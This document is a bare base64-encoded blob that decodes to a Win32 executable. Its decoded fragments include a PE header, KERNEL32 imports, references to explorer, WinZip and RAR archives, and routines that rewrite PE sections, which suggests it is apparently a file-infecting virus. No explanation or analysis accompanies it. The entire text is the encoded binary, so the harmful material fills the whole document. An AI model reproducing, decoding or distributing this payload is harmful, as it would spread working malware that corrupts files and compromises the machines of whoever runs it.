5pTsVOaU7FTsZHxU/OaU7FTsZFx/d+aU7FSETH935pTsVHRMlHTmlOxUXH935hzsVGSM5uyE zHREfFT85uyMnJTm7FRkf3fm7FRk/Pzm7FRkjOaUf3d8/OyUXOaU7FRclETm7JRErFSsdObs VGRMZMTm7FTc/ER0hObsVFyslC9P5nz87JR/d+ZUfKRcrJR/d+bUj3xEnGRc5tSPZHScRC9P 5uz8vFyslH935lTMRER07CzmVMxEL0/mfFzMzGQvT+Zk/PxcrJQvJ+asnIyclC8n5uxUZET8 5uxUzH935uxU/JyUfJyE5tRkj1yslObEVGQvT+bUj+zclEQvT+b8hOxcL0/mlFT8L0/mfPzs lOZUrHRMfOaEnPy8xJxclHdnZ2fmlJ11RZ2V5oz97dXNzebslUWtVa115kTsfLyM3HTm5ubm 5ubm5ubm5ubm5ubm5ubm7JRErI9UrHSXxOxE5vykvISsfESXxOxE5vykvISsfESXjHzm/KS8 hKx8RJf8ZHzm/KS8hKx8RJdE7FTmrFT0l5RENOZ8jOx0RPykvJeMfOZ8jOx0RPykvJf8ZHzm 7FTcbESXxOxE5uzcTOx0xJfE7ETm5ubm5ubmfKWFXe1lrZfFhYXmvM11lc2Ff3eXxYWF5pXN Re1lrX93l8WFheZ91f2XxYWF5ubm5uZ8rXX97Y3mlK2Nxe3m/J3FzXTNxeZcbLyMjH8nXyfm 3HSszNR/J18n5tRNleeEnVWtld3n/HWtja2V7YXmlJ11RZ2V5oz97dXNzebslUWtVa115uxV /Z2VfZ2F5tSPfEScZFzm1I98zf1Ndc3mfJ1lpZ195lWtdU195uxUZOeMnZWtRZ115uxUZOdM ZcXtRc195qyVnf1Nhe1FzaxE5mT8j/2thYWtleZ8LY3tlUXN/eZEdc2VxeeMrf11nebUj2R0 nETm55ScxH935+bm5nTN3a19Rc11fM11Va39zWR1nf3NfX3mlM1FfKXtdc3sxcXmfKTEzYXN Rc28zS3s5nzV/ax91K2FzWR1nUXN/UXNxeaUzUV8pe11zdzNRayV1Z3mlM1F7GWt9E3V1c11 1HXNzebm5ubmzCRkhJx0zHTm/IyM3HTmjX2tjZXmrf1d/Z2VleZdrZU1rWXm5ubm5mR1nd11 7Y3mz33nB899F+bs9PzEzNTcpKy0vISMlJxkbHR8RExUXCQsNO31/cXN1d2lrbW9hY2VnWVt dX1FTVVdJS01Z293f0dPV18nL7+f5n3NRU1l5q2VfUXthYXmxc2NneZ9lZ2dZS3mZa397f1N 5r2tRUUt5mWF7S3mdZ39vebm5ubm5ubmdO117zbe5phifebmjubm5ubm5ubm5pd17XXm5l2t la2VzUWXxYWF5qyVRc11lc1F3M1F/J2Vlc39Rc3FfEXtRc3m5ubErXXN/UWddS3mxYWF/e39 pc3m5nzNxM31Td1kda1VrYXN3c3mfM1E/fVkda1VrYXN3c3m5ubm5ubm5uZd9Y+17WXtlZf9 nZe1ZeZVzXWtNZ2Vl5XNRebtdW1NrXXNxZfNfebFrdXt/Zf9nY3m5nyd1UVd7XXNBIyt/XWd fZ3VRQSslUXNdZXNRefs/f2dTZVF54ztle3dzXUE7P39nU2VRX0E5nyMRGTnfM11Vc115nyM RGTnzI3trYXn7MXFdc19febmXJ11jee8hc01l8znrY2NTZWtRS3m5ryFzTWXzOetfedFpc3n jZ19Ref9nY2NnZXnXZ11hcWPXa3Fzed9ZXXN7cWtld3nXZ11jZesRd9951XNdS3nxe2V3c11 nU195/Ut5/2ddXVNZUWtld3nLZ1NdefVrYXNfZcH9XUXjrb0zf3tTX3N553V561FfedVzXUt 532N7XVF531Fze2FRaXn7ZXF5+2VRa2P7ZVFrY9VrXVNfedFzf2lla39h42dfUXn/Z2NjZ2V 5+xU532d1UVd7XXN5/3tld9F58XNRc39Reeddef9hc3tleetRZcH9XUXjrZczefFzVXNhZ1l zcXnRaWtfefVdc3N562NjU2VrUUt50WdnYXnRZ3nxc3Vze1F50WlzeeN7YWt/a2dTX3nVa11 TX2XB/V1F462LJ1N552VhS3nlc3NxedFned1TZXnRaWtfedFnZ2F552V/c2H7ZXF50WlzZXn vIXNNeddrYWF55XNVc115/2djc3nrZVFnectnU1152T8lwf1dReOtpScRMw35/TN/e1Nfc3n RaWtfedFnZ2F5+39RX3n7X3n7efV7b3N57yFzTXnRZ3n1Z2dhedFpc3ndc3theddnXWNh32d jc3n7FTnjZ2VrUWddeeN7S31zef9dS3nXaXNlectnU3ndU2V561Flwf1dReOtqzV532dh6zd lZ11zedFpc3nXe11la2V3YftlcXnfc2Fzf1F59/9nZVFrZVNzd+XB/V1F462rNXnLZ1N56Xt Vc3n7ZUt521NzX1FrZ2Vh2WFze19zecH7eeldc3VD3/Eje2thUWdN899F43trYXnRZ3njc0H n+0Xl+bm5ubm5ubmjrZcrZV/d+e8hc0151R3l2dv59fnXK2Vf3fn1J11nU0l51Rvl2eOtvyd ZS11rd2lRed3Z2d3h43txc3nrZXn7H2t7Y627PWdTUXnvIXNNedUd5dnbzeOtq5vh4ztrZXn ja19fa2dleetfedFned1zYXN7X3N50WlzeeVzV3n9e31LedkzOdVrXVNfYdcrZV/d+fUnXWd TSWOtq53h5Sd532t3ZWt1a397ZVF5/2l7ZXdzZeUnef1Td3n1a0lzcWXlJ3n7ZUt52XtLYWd 7cWXjrbs9Z1NRedcrZV/d+fUnXWdTSXnp2WFNee9zc1l50WlzeeV7Y3Nh0Wl7ZUlr462rm+H 1E2Fhef9nY1l7UWt9YXN51ytlX9352TM51WtdU19552V51ytlS8kn3e8n5REnyRkjraud4dc rUWl51XNdS3nrZVFzXXNfUWtld3n1c3tRU11zZf8pc39veetRe+Otq5/h5Sd5+2VLedl7S2F ne3Fl5Sd5+2VLeedZUWtja017UWtnZWOtq5Hh5SdRef1Td3n1XXNzYf1zf3tTX3N553V5+3n pU11dS3nXZ11vZeUneeNnXXN50Wl7ZXnRaV1zc3nXc3NvX3n1XWdjeel7VWtld3nfU39peet xc3t50Wd5+39/Z2NZYWtfaWtld3n/Z3FrZXd5+2VxedFzX1FrZXdjrbmAAABAAAAEAAAAB0A AAAgAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAApQEAAFMAAAAOAgAADgAAADYCAAAOAAAA XgIAAA4AAACGAgAADgAAAJgCAABoBQAAIAgAAGAAAAACEAAACgAAABIQAAAWAAAAYxAAAJ0A AAAMFAAA9AgAAPYlAAAKAgAATVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAKgBAAC6EAAO H7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BF AABMAQQAiywMhQAAAAAAAAAA4ACOgQsBAhkABAAAAAwAAAAAAAAAEAAAABAAAAAgAAAAAEAA ABAAAAAEAAABAAAAAAAAAAMACgAAAAAAAGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQ 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 AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 